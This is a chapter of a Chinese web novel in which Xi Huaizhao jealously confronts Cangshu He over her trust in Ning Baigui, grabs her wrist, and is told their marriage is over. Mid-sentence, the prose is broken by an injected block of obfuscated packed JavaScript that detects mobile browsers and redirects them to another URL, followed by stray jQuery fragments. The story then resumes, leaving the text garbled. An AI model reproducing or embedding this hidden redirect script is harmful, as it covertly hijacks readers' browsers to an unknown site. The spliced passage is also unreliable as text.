“笃。”指尖轻轻敲桌,在慈萤殿发出细微的清脆响。
权惊舟站在离苍舒禾几步远的地方,即使她周身平静,权惊舟仍知道,此刻的她心中不悦。
殿外脚步声越来越近,她稍稍侧目,是令主君心情不佳的元凶。
“微渡,你先下去。”苍舒禾轻声道。
差点刻意泻出的杀意霎时收回,权惊舟不发一言,默默后退转身,在经过奚淮昭时,一向无视他的人,冷斜一眼。
殿中束起的帷幔静静垂落,动也不动分毫。
奚淮昭不禁放缓脚步,注视眼前的身影。
沉默蔓延,粗粝地爬上他的心口,拖拽隐约的焦急。
她始终没有回头看他。
他应该说些什么,就连呼吸都听得见的安静似乎是无声催促。
她不高兴,尽管她没有发怒,很是平静,可奚淮昭就是觉着,她不高兴。
她为什么不高兴?因为宁柏归?
三个字刺眼尖锐,即便是将宁柏归从她身边扯开,也没有消失。
“你相信他?”
询问像是质问,这远远算不上一句合适的问话,却是此刻奚淮昭最想知道的事,说完又后悔,不该因为迫切地想要知道一个答案,就如此平白问起。
心底隐约生出不好的预感。
他分明清楚,他那早逝的爹娘,就是这么经常“迫切”地吐出心中所想,积年累月的怨恨凝固成不会融化的冰,坚硬至极,又足够令所有靠近的人冻伤。
“你希望我不信他。”前方的人开口,嗓音是前所未有的平淡,与权惊舟说话时那点软意都荡然无存,听得他心间发颤。
“你特地邀我出游,是为了让我看到那些。”苍舒禾敛下的眸光看不清神色,指尖轻轻划过光滑的桌面。
奚淮昭一悸,浑身血液有瞬间的凝滞,如同陈述事实的话语笃定,没有给他任何反驳空间。
──她都知道。
她终于转过身,眉眼间没有他常常见到的笑意,也没有他期望的温柔,冷静得不像样:“他不会做出那种事。”
她在下达新命令后没再连通五感,发生的事即便不清楚,她也知道宁柏归不会做出伤害峄琼宫暗卫的事情。
苍舒禾对自己创造出来的东西有信心。
可这话在奚淮昭听来,就是她哪怕亲眼所见,在无法确定宁柏归到底有没有对暗卫动手之前,也始终愿意站在他那边。
心口像是被什么堵得密不透风。
一般的承平道行“恶”,奚淮昭会很愿意再调查一番,可宁柏归有杀死他的事迹在前,又是一个千载难逢的机会,一个人证物证俱在的机会。
无论真假,他都不会放过。
可是乌月蕖总是令他措手不及,她对宁柏归的信任,明显比他意识到的还要深厚。
一股积郁已久的浓浓不安不断缠绕,凝成一团怎么也散不开的冲动,催促,指使他开口:“你就那么信他?”
“你就那么相信他?”奚淮昭不可思议地上前,“你与他相识才多长时间,就那么相信他?就因为与他多说了几句话?就因为他救过你?就因为他经常来到慈萤殿与你谈话?”
一个沉默寡言的人,竟然会时时亲自上门,本就令人生疑,在殿内的那些时间里,他们会说些什么?他们能说些什么?
他懊恼宁柏归来到慈萤殿的每一次,自己都不应该因为踟蹰没有到场。
他呼吸不觉急促,视线没有离开苍舒禾一丝一毫,唯怕错过她脸上任何一闪而过的表情。
哪怕她的面色从看向他开始,就始终没有变化。
奚淮昭嘴唇噏动,小心翼翼,仿佛要向她求证:“所以无论怎样,你都信他?”
反反复复同一个问题问出口,又不愿意承认不想知道的答案。
沉默再次弥漫,如同钝了的木锯,每拉一下,不再锋利的锯条就卡在粗糙的树干上,“吱咕──”“吱咕──”
心头的闷重仿若被困在暗无天日的蛋壳里,薄薄的皮和易碎的壳,怎么也撞不破,反而生出丝丝痛意。
奚淮昭逃避般地,下意识忽略它的存在。
他一直都知道乌月蕖与宁柏归关系密切,从上一世就知道。
这一次,他执着于斩断他们二人之间的联系,可二人甫一见面,就形如蛛丝,细小的丝线透明柔韧,只有在特别的光线,特地的视角下,才能看出它们的交缠密不可分。
斛桑城外他们的交谈堪堪短暂,却莫名萦绕着,偌大的树林里独属于他们的联系,如毒物啃咬他的骨髓,令他不得不,不停地调整自己的呼吸。
宁柏归执着于她的信任,又因为她一句话放弃挣扎,一个从前能将他杀死的人,奚淮昭不觉得没有经过精心计划,就能轻易把宁柏归送上亡路。
可是乌月蕖做到了,不过一句话。
一句,真可惜。
……
那么,她又向宁柏归交托了多少?
奚淮昭不由得生出挫败,伸手遥遥指向别处,指尖是他自己都没有发觉的颤抖:“那不是他在你面前杀死诸多无辜,他说他没有,你也信他?”
也许是渴望她的回答,他不禁重复:“你也信吗!”
苍舒禾默默地看着他的失态,听着他的质问,直到他在紧密的缝隙中停下,她才开口:“你可以说他有动手杀峄琼宫暗卫的嫌疑,将他押入狱。”
无人能为宁柏归证明,他有没有动手,一切发生得太巧,巧到她到场时,网近乎织成。
奚淮昭就是最后一块拼图,让网彻底织就。
在他说出“你想杀死峄琼宫的人么”,在那一刹那,苍舒禾就知道,她给宁柏归下达的命令无法完成。
“同样,”她说,“你特意想让我看到这一切,如何不让我怀疑,这是你的计划,或者,我也可以认为……”
她上前一步:“你和玄蝉蜕的人共同谋划一场局。”
话音落下,奚淮昭通体发寒,只见苍舒禾终于露出笑,一个极浅,极浅的笑,却没有温度:“太巧了,不是吗?”
心中闷重突兀地狠狠一砸,扯动全身战栗,隐隐发疼。
“我没有。”他喉间干涩,面色生出慌乱。
与宁柏归一样,他无法证明自己。
玄蝉蜕的人在她离开后不久,就启动阵法逃走,他心怀不轨也是事实,她的怀疑,更变得合乎常理。
但比起这个……比起这个……
奚淮昭紧紧盯着她,眼中不可置信:“你不仅信他,还要为了他……怀疑我?”
乌月蕖与宁柏归是天造地设。
他再一次想起。
他们是因为两情相悦成的婚。
忽然一股难言的痛意痛得他呼吸不上来,止不住上前。
自从宁柏归出现,一切与拨乱反正没有区别。
他无论怎么做,都无法将他们二人的联系斩断,他们还是会像上一世一样密切,一样相识,相知,无人能插入其中,无人能隔绝。
眼前的乌月蕖分明是他熟悉的模样,分明就在触手可及之处,却如有一条巨大的陡峭裂谷将他们隔开,寒风铺天盖地。
“他有什么好?”奚淮昭忍不住问,眼瞳里隐隐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303997|193178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受伤,“值得你一再信他?”
“你与他相识的时间,有你我的长吗?”沙哑的喉音急促迫切,“你为什么总是站在他那边?他的为人就让你那么信得过?他信得过,我就信不过吗!你宁愿相信他也不愿意相信我!你愿意予他的信任,是你告诉我!你想要安心,是我需要一步步,好不容易才能得到的!”
“你总是轻易而举地给他!”
不止信任!不止信任!
他们仿佛一对榫与卯,完美契合,严丝合缝。
偏偏他与乌月蕖的每次初遇都太过糟糕,不是他身在血泊无比狼狈,就是刻意得过分。
唯一不变的,是她始终衣诀洁白,眉目温莹。
身上像是数不清的虫豸啃咬,微小的伤口细细密密地痛痒,血珠在纷飞的肉里欲滴。
奚淮昭止不住往她的方向迈开脚步。
从前不可得之物的渴望实在浓烈,就像他曾经希冀过爹娘的温暖,最终被他们的尖锐撕个粉碎。
他踉踉跄跄地捡起掉下的肉,一块一块地捂上残缺的身体,无论他变成爹娘期望的何种模样,都不会有人高兴。
猩红的鲜血在指缝滑落,他看到了曾经的自己。
他的弟弟。
奚农安将成为第二个他。
心悸到仿佛地面伸出巨掌,把他狠拽,砸落大地。
奚淮昭痛恨他们,有那么一刻,他希望他们能消失。
这样,他们为他戴上的枷锁,也许就能消失,他也就能解脱。
弟弟也是,弟弟就可以不用像他一样。
可是当他们真的消失了,真的死了,他居然会为他们流泪。
他恨他们,把他变成这副鬼样子。
奚淮昭满目执拗,她就像那不可得之物,那片不会属于他的辉光。
“是不是有一天他死了,你也会为他悲痛欲绝!”她除了一个元后头衔,什么都不属于他。
他控制不住地伸出手,试图触碰她的温度,证明她就在眼前,证明她没有跟随宁柏归而去,证明她确确实实还在这里。
浅淡的温热轻飘飘,空荡荡,随时都会消散。
他死死地盯着她:“明明我才是你的丈夫!”
话语出来的刹那,心底又不够理直气壮。
她原来的丈夫不是他。
手止不住地颤抖,眼里是极为少见的控诉。
不公平。
不公平。
你对我,不公平。
手掌逐渐用力。
苍舒禾垂下眼,落在那方温度上,又顺着他的手臂,回到他的眼睛。
她的确有些不高兴。
宁柏归再怎么样,也是她的东西,甚至还没发挥出多大用处,因为奚淮昭的推动,走上她不愿意看见的走向。
隔着衣物,手腕传来一阵疼痛。
她一字一句道:“我允许你碰我了吗?”
奚淮昭呼吸一瞬紊乱,手掌不觉微松,理智渐渐拂开云雾。
她的眼眸宛若世间最为珍贵的乌黑宝石,轻莹透亮,平静地倒映他的丑陋。
像他那对父母,狰狞,面目全非。
他慌乱后退。
苍舒禾静静地看着他,少许,继续道:“你得到了你想要的。”
什么?
不等他干涩的脑袋思考其意,就听她仿佛在谈及极为平常的琐事般开口:“我们这场姻缘,已经不需要继续。”
奚淮昭只觉脑袋里“轰”的一声,不可置信地抬头,整个人完全呆滞,动弹不得,就连心也停止跳动。
万籁俱寂。